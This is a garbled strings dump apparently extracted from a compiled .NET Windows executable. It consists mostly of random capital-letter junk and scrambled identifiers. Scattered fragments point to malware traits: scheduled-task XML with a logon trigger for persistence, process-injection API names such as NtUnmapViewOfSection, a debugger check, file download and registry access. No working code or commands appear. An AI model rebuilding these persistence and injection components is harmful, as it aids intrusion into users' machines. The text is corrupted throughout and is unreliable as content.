XZJBUMMOAMI
ELWD\YCRO
ZTEYXNAPDRHG
ZTRAZQORXKCI
][3
( D/
TERMINATE
0 $"<ReemcvvctionTrigger> "6>Alablw`*fense</Enabled> 08;Raeist`cfkklTrigger> </Triggwpw< 0>Brmlcipals> <Prizg{ren id+"Swpjor"> <UserOd,YQQERIR[./QqerId> <Log}hD{tg>In`e`agviveToken</LogonTytc,
ZEDCYVGXYXA
TGQFFNU]]O]
JL-f
SHPADVMSHVDY
UGXXMWFNLXD
MesuesgFmxIcol
DIBVJZ\MCNPD
d^jUk
IHIQIVQ
YKMQKMJNNA
BPQHBOXGZVW
MYGPXCSNPKTS
^[O
WK+XYL.
VUBWXFODJGRY
gv8
JSTBGFGNHQFG
VSWQGKJBQ
zk_3`
VGEATKZ
XJKCOQAAI
YPLHQLFUCV
SUHEQ
JIHNFOASI
PXFNIYLKCA
<A| <Zk
TLLZP
RegistryKey
CUNBQJSH
VMTFTPWANL
NJGTOCU
,_^]Y
HJGPZKRI
WCIAJQCJRB
CGCJIXZIEDDF
DADKVCESXPT
KUQTYX
YTWDBIQU
AZTVWXWBLOFD
BVYRX
FISVS
<0P[SPv @;
YEQSKRR
.ctor
HKGZW
ZDEMXXUCQGN
YMDCGRDJC
KYFOKDWTBEPN
PAJJDGXJZWVN
JYDAPZOLDYG
cM\VU
MXGXCGNUS
LNTBEFKQ
)]Sa
IYMEPAWX
LMFFMIWH
HZNVRWCSWNM
PTDVZHCQAM
ONZSOAK
Main
LYZZEPEQFFFL
QQXEX
OIKOWIFQSMD
~JOp
HKEBPFQNRGO
QYVURJKJAHBA
FOCDYJXC
JFACGTEJUF
YFDRTLKEV
UEAGQSA
THMHGVSVM
ZTTJUL
MVURGZKCSZSS
1.Wh
MJVXQLKKRCR\
JWZZUDSAQFM
WIZSEHVYJQ
EHEXTIHJ
Qystem.Runtime.CompilerServ
ytBq
RKTOZZIYYL
MCRBG
`NK`
DPHUCHWFVERJ
UNTDB
} $w
Microsoft.Wmn'2
EBLYOQUAHVI
f|=qf
TAURJHFTGLXY
OCIFXDJRMP
W2<
get_ResourceMalcwgv
ABPUK
@.reloc
ERRTKVYGA
POTNUHOAU
ERIYMSHLG
QAAPXTMOTQS
CAWBU
FJBZJQKJHILR
PFATPQOA
TagUidd
NWBBHLDO
RYCVCQBEKCHI
ANENJOMVSRIF
FURSZGRGQCM
QKZIQDWIVOST
MNEVZPKXN
ZKGXL\LSU]W
BBUEXPRFFCYW
PXMDHHEQPSEJ
QKYEMWXHJ
EOWGIBGUDCO
XRVIJSQDQPYA
r3$f
TCVAMQSYEKJD
COJQGGUDMRVI
WWLRWSAAQDK
GKNFHBSHRMP
RPNODICBVW
ILFNEX
BHKAMILJDVS
eMHx
|<k;
XLMT\\@\[UDY
9D/Y3
BOQZRALTBVVX
SNRPYA
NRMTFLDUWRA
RSSh
@HOHVL
9FBNGu|W
KYLORMNI
9W $
OBTBCT
JKADQXFEVD
AMPBWAIQQQHE
MajorLilmqpRgrsi}h
get_Mesugse
OTDBFMK
$L]Y
UIPSQXCNSUTV
G_^]
WNZKVULTBQLW
OBMQNNEBKHF
h)mh
<>AuJ
VXYXXTLE
YVAHAYUC
RZUTOEWO
QSFWCQRKLCYF
RSQTLYUYYE
<0PE
TCGPIBMHSI
JEPSGQCFC
ARAUFWSMBVDD
BGKUMCNC
UAIFTZIRHJB
aSCU
ZNLPRGMPSONC
ifH3
AFLIEYPM
ZERPVOAU
, ([
HBEIOZKJGN
!X3
j\jcT
PSHPHFQFLGY
HNIPILPQITUT
XITQXCEDQAXN
MFPEWIBW
KVGBVFWY
=qul
WD,)
UOXMXXKTDJE
Z) B
SXTHXIGMDD[V
TOJLTMNGWRCN
XVATOXBMJHNO
FVXDMDLT
SqC+4\;%|nw
1w)>
_=Vh\
IESRAGRKOUJP
PVOTBEYLUPTZ
MQFBONCFM
RUWDBEJUE
LoaderF~eqq
yl;|:
WRHFQPTDIN
WKMMNV
QZRAOTG
JFGKFWELQFBP
System.Globalizcvyoj
GKRHGA[
Cq)s
ENWPRQGLP
EMQHDKMH
UUWOJGERJD
FGMNFECJPS

IJIBLSOGDHF
JWWGCGMDJRFJ
KDRCHOAY
sgp]Curdezt
RvmcessStartInfo
QKHQZTIG
Elgsrpkon
X\Sa
Systey.Vgsoutcqq
LLVBYADBWMOU
DJNMALC
_AWQUMAGWE
JZQDI
jf#mSa*
Sysvc{.GmdeDom.Compiler
AWHVEDTO
CESOSPI
GWEJPTQSPGU
ESXPLDZBC
DMGZUATJLMR
UFYDYYGGI
:,,h$
(<vL
YIQDCUZSSRBP
?b
y.JB
)\F8_9
ORNHXLMEXJW
N;' PI,#WG)2UH-9UH-9WG)2PI,#N;'
VAOY@BPB
NFLJPKCTVYTR
rxd*>
UNLCHHGJ@H
LJMVQXTH
LODSCUZ
YMJJYVBN
cB^(
PDGJCPQCWFH
CHHBZ
VWJXIMQIFK
s*(.
{5{ :
ZXFFLM
e.n=
TFOATZOOEDT
QSIKMDZRKIZK
HLVQC
OTQXHYMFNCX^
Aontdi~Wkpd
:4DI
hQystem.Resources.ResourceReg`wr("mscorlib, Version=4.0.0.0,2Aglpwre=neutral, PublicKeyToken?d'5e7c561934e089#System.Resourcew<PqltimeResourceSet
PSMWRSTEGN
QPCXDLWXXH
Show
B@;
JDEMJKI
_^[]
TIMPF
VHQZGYD
COYYDPM
_^[K
ARPHAZSXNEKC
LD[TZWRSWZ
MWEHJH
IQUKWNEBIPZV
Dyfg
SRVLW
UI**XJ-
UI**XJ,
MUQZICZFMVI
YMKVKSLILD
z8#6
FHJQLWVNOB
ATJSVT
|cxnR
MWRRVXWMEBJO
KFOVAZFXRJCA
ORCVRXFQRJP
UQHGGSJTKOW
BJKAYUN
LDEKZFQNZ
ZCYYBDCLH
PBTAXOTALEU
CARXCZAHVJPW
DXTYQANVITGW
PRLSNFLTTRB
GJOHSWFM
GMDNGIZI
M,xG
UKLDJHIPYDIG
GMABOAXHEXB
GPUIQZZCOL
|DQU
ZBJHEMX
SsgQs
UQTGKTTWG]RU
IMIVOBXWSP
LHVRWPIUQXNH
;+Oo^
KHWJWYXWC
QDMMHQCGLLFN
RMRMPSPOISX
=bR.
CRNZKTQKV
RTOFF
XTDOCDRY
DCQLSILBHFP@
K_JTXSGJVWHW
(@Y \K
WxtD
92N@
ESCPKTMOJESW
Equals
ILOXHZMHISHS
UWWDMSPDY
MRKKGDIAGHFW
RSNZO
Wa`Ofhect
XQJCRIJI
UIZJRSWWHWDS
LTAAMYWUHEO
HIAFPK
ZMLMSPZZLUV
HQTXPECSLO
|\9N\|
EQWBECGFP
BRSDBQFWN
@t*U
VNWXDQ^HGK
EXXDYFTECKW
XHHVCE
UEMUIBYIEO
YMGMO^LNVOS
EWEBINAUWNEY
u 9P
LAQTWD
DRNUOYADPQV
SYFJSXKJA
nSihg
RXMQUVTWX
AUEOWHB
IMAGQ_POW]HEAVE@
UVVWXLRJUSHK
CWDXOVPZHOU
RLEAS
FWRGNHOUMBE
InsertAce
LVETIA
FSYVL\VI
QCPOWSTNF
WENDFPAUXUQD
AJWSKMVDQV
BHANFRNQ[WJ
PREVEOXG
MFPHYPUFU
5in8
QSCINEULBY
FDLJQT@G\K
MMOUXIVHHE
NGSPTKV
7yP$
FTKFXHGYOMRC
v jHT
5Dx
XLUBVLPALYQW
RNRUFIZOICEQ
;Wuy
ANQTOIIW
@~7r
uA3ef
WOFBSQX
TQSEWSNG
]6`M
/YLa3/
lF b
HOZWTHOVEQHP
FXCSGAAPXZ
EMVLSQDVY
LILYWXETUV
KN^@PDLIVVX
ZMVATDRBINMU
LZZZNTFGJKHY
OQLAJ
vers
K'L]
-R w 9P
QPNXIFE
NLTXMDRN
VH+Yl`>
TWSNMCASVX
EWBIOIKVIVSU
]ZJuL
LCMGZJHSRZQ
WF\GVGATCJMK
QCEYZJPTBWNS
KORXRR
MMXDXDGV
@DUKBTVP
a\_I3
ZRUCWVVOO
IYMHNEFNKRRU
NQYNQUVABYTU
@TLR@M
9FBLQw*U
JB_MPTHGW
0vbh
RNY^C[K^NQXJ
t PV
QRBIFI
ZQCFDUDEYGL
KINQZBZH
@SKZ
RUd
DIAADTQA
4A%u"]
NBTPORX
SUEBCODJVMO
STXYYBKXWLEA
LIGJYTOMXPFO
*ator
SJQRVLMNEUEF
@KDZ]TDZBUES
VGOJF]
UQMROLWEEEKK
SLKDL
[ UT
KABADQJIGUNA
TGLOKOIWSX\
YABJBDIWQ
w 9L u
EACFVGWZUGFD
\JHEKNHGLO
IHVJUHENHFV
DUVOXVETFDLN
FXPIXYFZE
RPQKDSPVC
f>lT
7hF2
.jq/
XWDNIH
TYKFCGOFABC
N@ATHVNV
YBJAOHEQKU
LWDET
VQPR
PSRRRQV
ZNHNUTWXVAMI
RwqqoeThreud
(}
MUYQDWLK
MEQJA
XNZIZSLFW
NCSIZHHJ
},*!
broke
JZHADK
NRAEMXWPTZ
VYJGJGD
WK),
ZMSCZEE@SWQ
LLRLTJH
a\.S
PDZTYZF
RVOKUZRQIQDL
YKMPXD
T^XRVOWD
WRTAYHQ
OXMEONFSH@T
Vj8j
ALJCKJBRGAGV
BIPAHMVARS
DCIKNVS
MKBHFSJOROCK
SOAPOTMNFHX
Hf v
NHTQUEALMLCL
|6Q
VKQXPYOZERKR
:|B;
WJEYPCI
IVLLCHGN
NYLDDDRM
GVPUGFSNSJB
TMQXDP
XEUADBMMQHCL
AN@IIGGGWFHY
MBKIZJ[DGO
HMKFMESWI
AOMYAOAXMPWT
YOTEJDETTEIZ
^G@FXOXRV^CE
WjqV
[nT
ALSHLIGHY
mscoree.dll
RBEQDZRNE
Y@[PVLWLXN
TUVJ@IE
SUNQQBSKWLVY
VRBTQQJBU
ZTPMJNIUX
;IY<
PJQPJSXJIM
VVTFQQTROIFF
N%TX)
QSEHMPJUGWWT
MLUASBLBWFQ
ETEVWSJBOI
OLJHFG
RU\H\QTBDJ
PapwoaverizedThreadStart
IXBTBBP
ZZFDGGVHGHPL
NHDELF
CNPPZQENXK
KWNBATLWG
GAFIXSAPWV
LANOYHHLIA
RUMNAL
LZECOYV
Z]3
gepMNalgth
NYPAVKB
MSCAVOUNCTOK
PYCFNUUARVZU
SHSZSOMJ
YFRAKFBPJ
secgt
RNFQCXW
WJ,
WRVSVSFUTP
LIGURFMCDP
WUPVPH^FKDR
B[IZEAF
.wcpmr
DBQKBDECBI
ZKFMZGWAW
IXYLBCTY
EBCKHRJTKJWC
WJXLKMEK
CmOl
q$-Y
DUOWKNYOB
U@* UG*6WJ-xYL.
VKNQNWC
KBAZKY
HLVHDBTEMW
KVKOXTBRWT
HOIZRMQD
1i-j
,n}>/s
SRXFFSJIZKU
HF7`tX
Dpj*
QEEMSXKLPO
A)`c
PRVQ
BRh?
WIZOLGIX
ZDAVZHLJIZ
u 9p
OKXUXAGPM
Deletg
BPCD^VCICHFF
ATJWEWOARTHP
GEETRSUH
WQZCDGDUGT
WRYNTRZKTJ
NIWAYAEYKTKL
kSQ[
N QRS
XFXLLRCYK
QREICVLC
SCPOMUUOYGKP
FMHJYICUVBN
HVMFXOULNY
DSWHF
OUCWIQGI
GBFGYDRPYL
BGCOFJRIJTAM
VEWFGQE
LSJOJIIJNVP
QUWWJREPCXRW
HQXEZPUDRD
YRZSNIU
CCUYYLG
HUZMOJMJRNVA
ZFCOUETKTF
KGOYPPHWB
<M6Fj
NOURMLWD
XYGCMIECJZLE
TMQXOTTYDHTC
X[NPSDDYNSX
WQIKVUOOS
IIEWPGQ
VZBRYCFADXAM
VXCQIAJMJ
Y|!s
@jDj
IIWYVSOWJCMM
ko|w
1 Us
[,Gj h\jgV
BBLDVNJOR
INZBDCCCXH
JSLNQSLOPNIC
DZCPDYWDASA
< 7m
uwwwu
LKWMKVFAHOL
zS=UjptX
O^GWFVIB
HXABJZ
FCSDGHMGND
RABJDYUN
OCNJEXKJ
KVBZQH
ILBNNVDPREMQ
GuibCftvkbutc
PEYMTIYBWT
QLDJNAQABJ]
~rEfdress
m'/m
WMAWWIO
WG.2
WGENF
SCOFNREQY]XV
SALURTJMETZL
f MIkH
KPKKIBBBAWT
O|F}
RONIAMRS
VCDJIS
KHWSVOENUGNF
FOFFVJCBS
HTCOLCQQRSG
PQZTO
IBZDEZADCET
VUFGRRF
GWIAFBNA
BTGCEI
LEOMAXYBCPJK
YAHNKS
SGRS
S:bgr
OTVRHZJGN
5D_q8
EONXRJNAFMO
DXDZESYYNME
4EGGP
FVJJZPLG
WQQDN
CIZRLIO
,-?M
VUGXWXEGMIV
j mE@
PADPADPV
ZfxHy
ZFGTSUVPISNA
^]TKOYHIV@]Z
ASPSO
YI-?
ZVD@PTEHRVY
JMSKQLGGVPYL
VUUNVPVPNG
"x#
RjfString
SXHHIDUYDS
FKLGQPNJRUJ
NDOZHWUQOO
BOOGCAMAMJ
MKPIDZTSTQFP
ZAW_@RBNI
haZQz
GUZSQAFXOQLO
GRBFLFDR]GQP
DWVOM
UVWUSWLKXVRC
JAULPFLGZQEL
PUPFVY
ETOHRJJO
DPGAMBYAP
UUZCCJYP
%z,E
MJJVBV[POTM
ZGMMKQQXBWU
XVS\AQWXZDSP
OAWTTRNLTGWZ
q-j?
TJEQIOGET
TVWPJ
\BNDLM
WLOVEGXRWXI
CUVKDPFCSXQ
SYYGTKQIKNH
G(Pj
MPJRTRBOZFEI
KYNJFOAPLHYW
RARLRFBLXTM
pR#
OTIWEPLSQPK
WBMHYKWVYSKG
SUYFJSTMFVI
QHTJYXRCALAQ
W _3
=E;=
NDF@VW
JUGSXIZKVFYO
LWLBOSMYJ
PGIRYKOKOD
RWS
cgt_ASCII
HA/|
RUZZNCZY
RMOSGUTPN
OCPILVJ
HFGMLZO
gZQN
XVXONCDZTHV
RCMYSQ_T^R
MCMPHUZOVOO
E (@
VUQDGRPBN
XHAKTXBD
ANCAXZXKDMXA
YAIQHPFHK
MEXBIXVWKGOX
RWZNJBMVU
El5]
WTGWALGKCK
S\M]@GIDXP\C
FHDDDCWSWV
g_cp
Ujin
CUBQWDNVRW
BCIZNPZ
REAOHNFKHCM
*12m
IMHQVZVGUZT
R@@q?
FKNGSARBJLRB
FX@HGKPZDT
i-|r
XZDNUIK
KNLIHZ
VI(eXI+
g \|m
FIBMHJCKZAZ
MEASZLWRV
Raawx
DownloadFile
CTHUTEU
RVO@TQUZM
EHADMRAYLGZS
J=R (
q WV
q)n
Aywvem.IO
WGEXSJMOWRR
BQUIKMHDHSJR
EAMIUQNOCNF
v PV
LHIITJVEG
IRPRRCJRDKYV
u4_3
QHLDEDYQWGH
LTRGULCDYGSF
SKRVDUKZAZNG
IWSAKAWGZZSQ
KYXPT
KTI^QIXEIQ
VCJYDHKQMHT
QCXJUDZATR
UPASVHQCNI
V6o<
XYEQMNTLFMDN
SFMLTQHQLERX
u WR
MEJF^SFP
LDKXOGXP
VQR3
SATDHNDSBAMG
SBBXJCORJPET
LWKKFW
|H ;
IBFJDDGQAGR
AIGJH
f`y=KH#
C:pA'O
NHLEGLLKA^WU
XISICVOYNHZK
LBEBXILRZGMK
LHTMWRLIW
PXMOZ
DZj
DCUYMEBWXEIR
|tFl5 0
V,SWQ
ILFCZH
@>Xf
XTJKJQAT
ZNYKYNRF
TGSFVWRRPDP
WRUTYNQKOUYU
SGIRGEUAAXS
nkYD
AOBVWXJHUTDX
- +
KGSIECDQDMVW
o}]!
FVFQEIOLJO
OONSRXXPREG
AssemblyTretgicrkArp`kfwte
URUKBLJFB
JZBRRVCJOOTD
WYGVRT
Y6n5
]kbeJgxt
iw\zaUP
DNEOWDUZAT
ZFAUWCV
QVj?
IRFFENV@DKBI
CMBVELQFFZR
XWYVNQBGJ
tCwn_
YGFYBHDY
SCOLCEG
QUUYFN
CYGFKUWO
&Gp/I\ Pq
KGTJMEGLEC
NEMBIQDOEWWU
HELXPOWC
TDLDTBRV
ICNUVJQ
EEZVCZEOGN
pers
AXJXUNGHLUVO
EKIBV
UMFJSI
FDNZYJUOTOQ
TOGUCWOWMG
cgt_Handle
MCEQJ[[QEKFI
PTAPJXO
MXFZENFYIGEG
UZSYHARJIBB
erazna.Properties.Tagoqpces(twqkwrces
QWJXOXNEDVU
DTDJUILADM
OJMQDKLJQDUH
Jn+VW
TU^UMQC
l ds/
FUPPANURE\
uo V_0
GEPZPGSD
WZDUPDLMWU
$" <RestartOnIdlw:rchqe</PcgveptOnIdle> </IvjsQavtincu,
NHWPO
~pR!
WMEAYPPFBOP
IDisposadns
CXQVRBOCJMK
RDAEZOXB
SNECSKZVMW
1(QtX
YRBOBWWXZ
ABKJWNDGMLRW
CXJBJ
NGXOZEXF
v$hKV
,*~-
TOHICNWWXGG
GJFGXM
MTJHBJDHMMOL
VK,tXL-
AVXKNJJBABDY
XWTWj4
PCMOF
D^[_
M\CHAH
IIYLRZSFD^A
YJWIMPFUOFU
SQCBUOKJAJV
JJVNSISO
` 1=nc
NDIPKKKDDOKE
ATSDFMQYS
BUSBECVDRQ
VBURUMAQX
IsDebuggerPpacgjv
PBINYITKC
DXHPRGRNO^@
UKWQKI
Reg{sdr}
TOFBAYE
XQCWJC
YAAKBIIO
WSQJWYOADQJM
TVVZBNBIUY
TXG]VLOVJXXD
DBJZKXCZMT
ComVisibleAttribute
684,
TBKQAWUWPWG
UPST
NIIDK
EXHFCHVLUQ
JCSXYKJPC
BLJAH]AHL^ZG
mY62x
q 9p
RAOTMUFTDKLY
ALYHCUZHARHB
IUMMGZOQXORB
n^:d
M QRP
; 6E!
LLGXTDRZIAMA
CJRVYTNUQTW
Dh*W
e5;Y
UHGHKSZWNR
j$PC
DBVVPETLBYJG
CPZDGIMJZ
RENNAHHUIII
GJBQDBUE
AOARELFOW
EKBPVQQBLYBS
XGOVDICZC
}a1%=5
SFVWSJBQOSFC
XRODSQWXINU
LEWVAGPIVDNJ
YXDUFTOSALMT
XDIEQXJHQ
LNXAOLUEDGHI
XQSYZOIITI
DQSGUDA
HQKYJHKNXQM
YFQDEOWYQL
EZODJWCNDA
IL]CHFFRQX
{Wy{
XCFEVHWWJEFB
TBPSDBROMF
LXQLMPHMDBB
FG
YATNJRYNWAU
JTNCAVWUKUUB
OKWVMGX
FBVZKMDWCUE
n?nj;<
SDZHEVDCKTOI
HE@RJMQABAL
LDCSVQHXGOSC
YJMENVA
WAUAJBXKMH
WJ-gQD,)
>iuD
FoHmwer
PVHIHXDJS
CPNJXPIJZG
DOLXVWL
ZPPKZTLZK^
ODJPTKEUNCT
UWQOCZJGRA
CCOQQPBLPZZZ
GHTNBKS
GWYMTZIEQIS
ZPOAEDZQFHBR
EVYYZ
GVOJQWD
KHMZCNSQVZO
FHOJYMCN
UXPKGUOEQBDD
UXBTUBUGU
za~cdgj
Tzb?
SJLZNXEOPFS
CVMESEGGTD
SWWYVRF
9t u 9p
Tj/j
PFHAA
[PAHIFBNWNW
ROQCDZHPCDD
UNPMFWPUBR
ZKKRZ
HFGQUAQEG
ZAFJJZHMGOTI
FMGHG
YNLJWKMUAOF
XTFNLZBSNODW
POIAKNP
g3#CZ{K X
IFCEYMTNYAHB
$" <Enabled>true.+Wle`led>
get_Threads
GO[BMN
04$W5&
OBR_QBJITGZ
^\QVHUJOCXD
EGJSUGS
= @"
PSPPOEBN
hYd8
EVNONENQURI
SSOHOUCA\\Z
VVCSVBGWPPP
BSXVVWMHSTL
RYJAVZZGXEUL
Q@TB
FBNMCSPYSOJ
GACRAAKTREMC
UZVBS
AHLHONP
RunNetBaciwd
RNFFUHLKQVRT
@PPS
STSx
KAHQXICJ
OJIBOHQUOCD
TAJQPRFFT
ZTFTTLPSYQOL
LIANKWAEEOZF
EBUPQVYYLFZ
ETIUJP\
EditorBrowsab~gQvppibufg
WJ,LXL-
QKTUHS]MNOG
j1VW
A`IB
FCUOXLMWBOR
nuto5
STEOKMZPORB
GGJNJURXQCBE
@FJURJYQRPI
AYXQXTQ
VJ,VYL.
LAUGRC
&/&(
SIILP
Hostf
SVLBTKSKSQX
Oesseaw@kz
LDRSOGNGM
OZMSVRFM
MWLJPDYHRSWF
EIEDCXHLHX
QREBRPIUL
AXCIWQW
REEDUPQHZP
_/kAF
CPQKXFXGPL
CNTNZSEGQJG
ESFRXBGSEHU
GITYIMZD
UJ,EYL.
SYMRAWOSZ
LUNOOCAVGGC
PWAEMAE^TGMI
IQTHFZYL
F(VW
SUDPYOWURMB
GVROICSMQHV
{QLC
AVKYSFQUSX
BAFCHAOGPODO
ORXBT
OAFLL
UJN\EMZ
STAGYVNBA
CWEFKTXCMUP
URNUBHLXYZ
YNUZJXWHH
93vP
ClasuagPkmt
AHGRBUQTQKD
AssemblyCopyr{eztEvtrivqbe
BMLAQET
K^_
RDXPQGV
I f9
JIWADPDBQADB
BJPRDHLHQWO
PZGKMXPHEVY
CVRYEOYSEQCF
FNWC^XZDAYUR
SVLBDEWLCKM
SAYQICLGR
CORLSBPMCB
MaPvmcessRunning
WLNWZ
OFOTKRHAYQ
1 ,P
ZCKUHARVMD
B_IS@TYT
DRSYIHKSYX
FBQCXWG
CJIEHQEEZXRE
QXRAKXVHSSC
VQBZKWPCNGRM
NRMOCESMA
UNVJTYCLWAY
FWAAOSBTFOB
MTEVWKLDSXW
XK,KXK-
UQJIKTMIQPTY
WPXSNYFV
XNPBUGB
USJISTIPKM
JGTELJJYU
WCQYGXADQS
FLZIBXENP
HQRCKDWFPQPZ
G Lv
QJDCRQCSDG
_I\OJ[AEWMPD
MIQXBCZ
Ru~Jqt
NDFHRGJQZ
SIVHBMVUCYHD
gole{oc
RDOEGP
w8(+
PJWXTUKL
%,y
/ef
DDXSKUCJOK
<?xml version903*2" ezc{dmlg="UTF-16"?> <Tagm6tapsion923*0" xmlns="http://saluoeq.miqvyqkdt.com/windows/200&+$2+oit/peck&< <Registration[ltm:
CEMMABZEMXJS
ZUWLZWAVMPCU
AGBLGBRBTMS
r
XPBNCVBWCGB
CZERQUSV
HFGXRSRCSRBI
bsQpactionFlags
CDGRFIZ
BLONCDKSMIOV
VRFGNQFQU
IMRUOHMDKLIK
WRXXGAHHGC
XPIJKBCIIMJQ
EDUVWMQUPMXB
ZXTLK
MGCEUYAGNGTJ
AC-%
F]AWLCDWM
SQ\NBNIDU
UPXOHXE
VSNQJYXZ
tmS<
GWIEG
QKKTOUIVIS
SDWNGNPK
OXQNWCU
RTNCLLZHDGM
EFHLS
JETVVZ
HWMZNQWLLL
PRRW
WFFMQBW
AMZZPKEORBX
F\OEVING_SAVE_AREA
JUQPTQVVBUTM
GCWDKRXGBXJG
-I]J
AKGMPM
X8xS
NSSCGDZDY
PKHWGGEPG
MWTJGGUF
RQAICSLHEPK
DJNGA
FRHKGGO
R B!
FYPDQSJW
u29p
VCWXGV
LJRCQR
passf
PBCHFPJWN
BUAFIR
e_cblp
lyQU
AEBXDGRM
FVSB[ILXC
GPWBJURHJEV
B (O
P3Kr
JPLWSYTSEKSO
QYVKTJSYYFP
gw<falga.-@ksallowStartIfOnBabrwrmgs> 2"$>StopIfGoingOnBattgt}gw<truw:?QpmpIfGoingOnBatteriau,
VFPQRIHBBO
3Ayatao.Resources.Tools.SpbmjelyT
CBCYDBWXZ
Rbqh
AANOBEJO]PRF
STPKTWPSZ
VH*mXK-
JIMVWVWWSZKT
NUUYFZMJD
JTDTZKDFPIM
IEKXX
FSCXP
GetEnumerarof
Pr}gqqwUindowStyle
RMVFTMYOSZB
IdToPtr
R tv
BKHHWYWORQ
o m5b
CH]HBX^H
Adcmnable>rahqe</RunOnlyIfNetwovoUveklablg,
[I$
UEZKSZGEQMOU
VoUIlp!0
JHHUANDPFI_
MNFPKVIXOT
aP~8
ZGFJQANLSVJ
UI(?YL.
e8mkl
\QKLBR
w+
DEVCSDNAAK
FF. NE'
@g5+
TZQUBCZVQK
NGFTLNAENHYG
x<W|
PSQW
JTAINRZRD
9J4H
IQAAIYFNOXG
Na_o
JNYOJ
ZLDBVGWWXETK
GXLDUEXWZMQV
Conta{le
JLYOJHQAQ
LJTNANCVDMBB
EJKWGRPNRBNA
VH'GXJ,
HGWCWRKK
%18PnU
GTIPFXBJSR
LYQMMGLGRCQP
KRFULOPUUFF
V0&[[
@eqeOfData
CUBVZTQVGMSN
MJHJMFUXEY
TIdPzq@M
XRGJPFPDAOEL
<^mG//
ZLLPRCHPVQN
T_Wc
DGDHLKQE
CXYHCCKDZLSW
u~nB
LPUQHLUXGOEO
CDZPV
IMFKKRUEZW
OXVCBCOVVD
YXEDLBQAHXH
PBMIMEHPQ
OzxC
Dh$h
PBIMWSZE
FAJJFC
<Module>
ICRVIQDXV
J[V\ZEARVYVK
MTJARCNDYB
FZJCAZIGU
FLFEBSL
YGLZLIISRSCB
STNUBSDQCQU
YUNODOHZ
BPNIRDJFCSWE
@RBFRWUJGC
_ZLHAOWXEXK
ROSDVKDFSNF
_BCGZYJ[[@
TEHLKZC
URIUJMLWTXDX
LPAQB\N^PQEV
WZGOYTSKWEB
BGZMMOHGP
ZSEUL[[AWNW
BELVFRLC
Wixaev
= v
GTQVQDBUZSB
,'Hm
EHLQXDJKVEO
YHEPD\MKGFEO
ReadOhhkAknlecro}nFcse
KZDUTOXMPXQ
IUFJBVI@FRS
NPFVWAWOB
KPLJAV
JMUFQAW
dtK}
|W;Y&
Azception
T!Y ?:Z
W Sj
KSHRHA
$" </LogonTrigger>
@jxT
http
AEGCDMV
QOBAWPAHDTOK
IXPRROFCMN
QVEHCCBL
RACAFOFU
@u V
MRYWKBBWPOV
SILZGYUPYWK
XSJGGQPZMIAI
RMAXGQCOZJ
q 9H
ZAHQUONHOGE
TTHTYVZDSC
KOZHVW
RITZQXADFMPH
VlAZ]
VVOJOFS
NPFJGUPPQ
HJCCYSTMKPMI
GWXFTMECCLW
lpThreadAttribavus
NCNPKXHML
FZKAQEWV
UKQOPZLYPBB
Ql.@V
PWYBPZ
CQINSVAFB
YRYXLJ
XVRXBYRAKG
WIHKEQBJUGMI
OFSQXKF
KSAVNCEFJ
MOSRAZVQLVKL
KVJ\JSPAD
IPGVDTUO
c?
WPNFZDG
EBROC
GOJLLUHODX
\ZYBBJH[NLOJ
JMXMVXXXG
JAHSLR[G_
Dd T
ARMGAJASAUQO
Replaqc
S".,
AMAOIORLMBIR
KEEQWOGOCTCM
TULRWECCGLWJ
GYHMSDD
IIVTIWZ
UBHYUJFHAZBZ
CEEYIXMFXKYS
BSJFFMYOPZW
KOGXOYIU
@PRW
SPKCQXUTP
VLMLS
PNVFSR
GEKST\IRI
DWIOERJEKBC
WC_SDI
ESSQA
CVSDWSPW
BDUIAUMDXEWJ
STPZJAIHRPIN
KRCEWCVBO
WQHHLVKQ
HYHEEABND
AritogslTpocess
gef[GveptIndi
FEKHCGYCKGU
EJDRLJIMLC
DCFZAPMLG
malkopute
ZTCVITTNUOIRIMREVMNMOZTRVZTNZZCXZNOIMZNZVIEIZEBNXUMZNVZXEIENBCNMTOZVVTNENVBRCVZMZETOXVNOBMNNIEMMXVNVXREXXEEIXXUIN
HUPBRGGEBWP
t BR
JSEHGOFNW
z\1Fa(
QetVaheg
DKy R
EMWXVW
LALJXVNMG
yc2
a xuR
WXGEYAU
ZCVHLILHHLHG
XAGPCNYBJ
AompilationRelaxationsAttrivufe
iG>m
NURY^WG[YAUB
AEYGGNVSAP
JYTU@
AUAPEJCWYMGE
RHJAQWYROE
SHIPVWH
LHOYEFCYRCJ
PEIRZLTIQRR
RC%"OD(-NC'.PB$#N;
VUDKABRKQF
<IZsaA
q 9P
FJUZWZPX
H*V8
SGCXRRZANRB
XQAUOCTZTFOZ
IOWGHO
GHEDGWZG]W
GAMOAHKN
YNRKGVJPH
OPWEMTBZAFF
a`IU
MajorImageVersion
HJKWHKCFWCU
MKKPYJNCTKO
IL@UVCSGGYTF
NUXILYQDCTUR
ORCRFJEHTGW
PNPEFJDJIOJ
PXXPTSNPIXBO
ZNEETHCAUU
IcjorSubsystemVersiyh
WLGYIJJTXFJD
NQBIX
Q#,Z_
ITTYFD
System.Windows.Forms
AYQHIVLIPNH
Split
$"<Acfoylw"Context="Author"> 4"$"<Exac*
AEGPC
UGJVOXFHDQYX
FSESHVQQANZP
EZSDCMAO
S}qtem(R|racding
KXJCDL
UPUCGSM
ECLRIEI
NUHRPL
BAJLKVUXXJXW
FXQIVHUEXLI
PQRW
KZFQPXQUIFMQ
pemoda
KSNFBYXAR
AFFMEUOBAOG
TVLN^CFWBAX
QMNHS_DOAGJB
LTSUBCWNE
OPH[FDKIR
XYDFZDWTUIB
NWRJLZ]FF
ZZDAAETSLIQ
TTRS[FC]IEDU
Methkr@eqe
BigS
NtUhiurRkewOfSection
;t u
R|zW
DREGHUZRPL
JTTLBIWKAK
JMCBLGT
PQRMPJ
NDVOWPRCSNDG
Pottt
UI**XK-
IYJRZV^G
TGKSFWEJVHV
IGNLKAUOK
UZWCDIKMYE
Virtua~Q{xa
JJMINMJYURA
OPLOAYG
BPMMXEPSLRW
FBJIOV
SXTSDIYAXR
TQRZEVXOF
.Mr
RUYBGMCNSMJI
DJJDRPAF
)xw2
T; Dl
QSHOEGBFU
CHYLAUGMLEOP
BSBSDP^LK[HV
LYHLRYWVQUNO
BHLGYGQNJJGI
RLMOAIJKP
QLNZCOMI
HVIRILV
a =J
IHBOCFUAPW
ANNOPOH
DNXRFL
IOWFQTJY
SZGXHE[BKZUJ
BHOMJGZDORU
ZPQUUKX@B
HIAYNK
UNNUHHNZH
jfg
JIFKDIHKO
9{j8
YUTWIWMEWEVB
BJVh
ZPGXOHQUD
ZSHRVWEOWOHQ
PtrToStructure
UL@HXN@KW
xv1ry~
MXZTG
ENENC@LFF
HGXLQAWTBXAH
LWOKAAMEN
EXYQQKJPLTIE
GVRXUEAMJXX
